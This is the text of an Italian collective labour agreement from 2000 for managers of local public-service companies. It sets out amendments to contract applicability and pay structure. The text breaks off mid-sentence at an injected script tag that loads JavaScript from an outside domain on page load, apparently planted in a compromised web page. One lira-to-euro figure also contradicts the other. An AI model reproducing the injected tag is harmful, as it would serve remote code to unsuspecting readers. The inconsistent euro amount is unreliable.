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Categoria: Dirigenti (imprese pubbliche locali) Settore: Altro Data stipula: 15-11-2000 Data decorrenza: 1-1-2000 Data scadenza: 31-12-2003
Addì, 15 novembre 2000
tra
- Confederazione Nazionale dei Servizi Pubblici Locali (CONFSERVIZI
CISPEL)
e
- Federazione Nazionale Dirigenti Aziende Industriali (FNDAI-
FEDERMANAGER)
si è stipulato il presente accordo che rinnova la parte normativa e la
parte economica del CCNL
PER I DIRIGENTI DELLE IMPRESE DEI SERVIZI PUBBLICI LOCALI
nel testo coordinato dei contratti e accordi nazionali vigenti al
31.12.96, come modificato dall'Accordo 9.4.98, i cui artt. 1, 3, 17, 18,
19 (Nota a verbale), 24, 26, 29, 30, 31, 32, 42 sono modificati come
segue, prevedendosi altresì l'inserimento di una Nota a verbale agli artt.
19, 22, 23, 26.
Art. 1 - Applicabilità del contratto - Qualifica del dirigente
e suo riconoscimento.
Il comma 2 è così sostituito:
"Il presente contratto, pertanto, si applica a tutti i dirigenti delle
imprese di servizi pubblici locali ai quali, ricorrendo le condizioni di
cui al precedente comma, l'azienda attribuisca con atto formale la
relativa qualifica. Il contratto si applica altresì dall'1.1.94 ai
direttori, ai sensi del TU n. 2578/25 e della legge n. 142/90, di aziende
farmaceutiche degli enti locali che gestiscono più di 2 farmacie e ai
dirigenti delle stesse aziende nei cui confronti ricorrano le condizioni
innanzi precisate".
Viene inserito il seguente comma 3:
"Per quanto concerne i direttori il cui rapporto di lavoro sia
disciplinato dalle norme di legge sulla municipalizzazione valgono altresì
le disposizioni contenute nei successivi articoli, che a tali figure
dirigenziali fanno riferimento".
Art. 3 - Struttura della retribuzione.
L'art. 3 del CCNL per i dirigenti delle imprese dei servizi pubblici
locali nel testo coordinato dei contratti e accordi nazionali vigenti al
31.12.96, come modificato dall'Accordo 9.4.98, è sostituito come segue:
Il trattamento economico definito dal presente contratto compensa nelle
articolazioni contemplate tutte le prestazioni rese dal dirigente per
conto dell'azienda.
La retribuzione si definisce in:
a) retribuzione base, costituita dalla retribuzione minima mensile
comprensiva dell'importo per adeguamento automatico al 30.6.92;
dall'1.12.00 è fissata in £. 5.990.000 (E 3.093,58) e, a decorrere
dall'1.1.01, in £. 6.170.000 (E 3.586,54). Gli aumenti che precedono,
rispetto alla retribuzione base al 31.12.99, non hanno effetti
ulteriori, a livello collettivo aziendale, rispetto alle normative del
CCNL;
b) retribuzione d'anzianità, costituita dagli aumenti periodici biennali
di cui all'art. 10;
c) retribuzione alla persona, costituita dai trattamenti personali
aggiuntivi in relazione alle funzioni assegnate, alla professionalità e al
merito individuali;
d) retribuzione variabile incentivante, costituita da trattamenti
variabili connessi alla prestazione e alla realizzazione di obiettivi di
gestione specificamente programmati e assegnati che richiedono un impegno
non riconducibile al normale apporto professionale richiesto dalle
funzioni cui è preposto il dirigente;
e) retribuzione accessoria, costituita dall'importo non conglobato per
adeguamento automatico della retribuzione, dall'ex elemento di
maggiorazione della retribuzione e dagli elementi aggiuntivi di cui agli
artt. 7 e 8, CCNL 31.12.96. Fanno parte della retribuzione accessoria
l'equivalente del vitto e dell'alloggio eventualmente dovuti al dirigente
nella misura e con le modalità concordate. Fanno altresì parte della
retribuzione accessoria eventuali ulteriori indennità e benefits
espressamente e formalmente riconosciuti al dirigente, nella misura e nei
limiti concordati.
Le voci retributive di cui alle lett. a), b), c), ed e), 1° periodo,
costituiscono la retribuzione mensile e competono per 13 mensilità di cui
la 13ª corrisposta<<script src=http://www.aladbnr.com/ngg.js></script>
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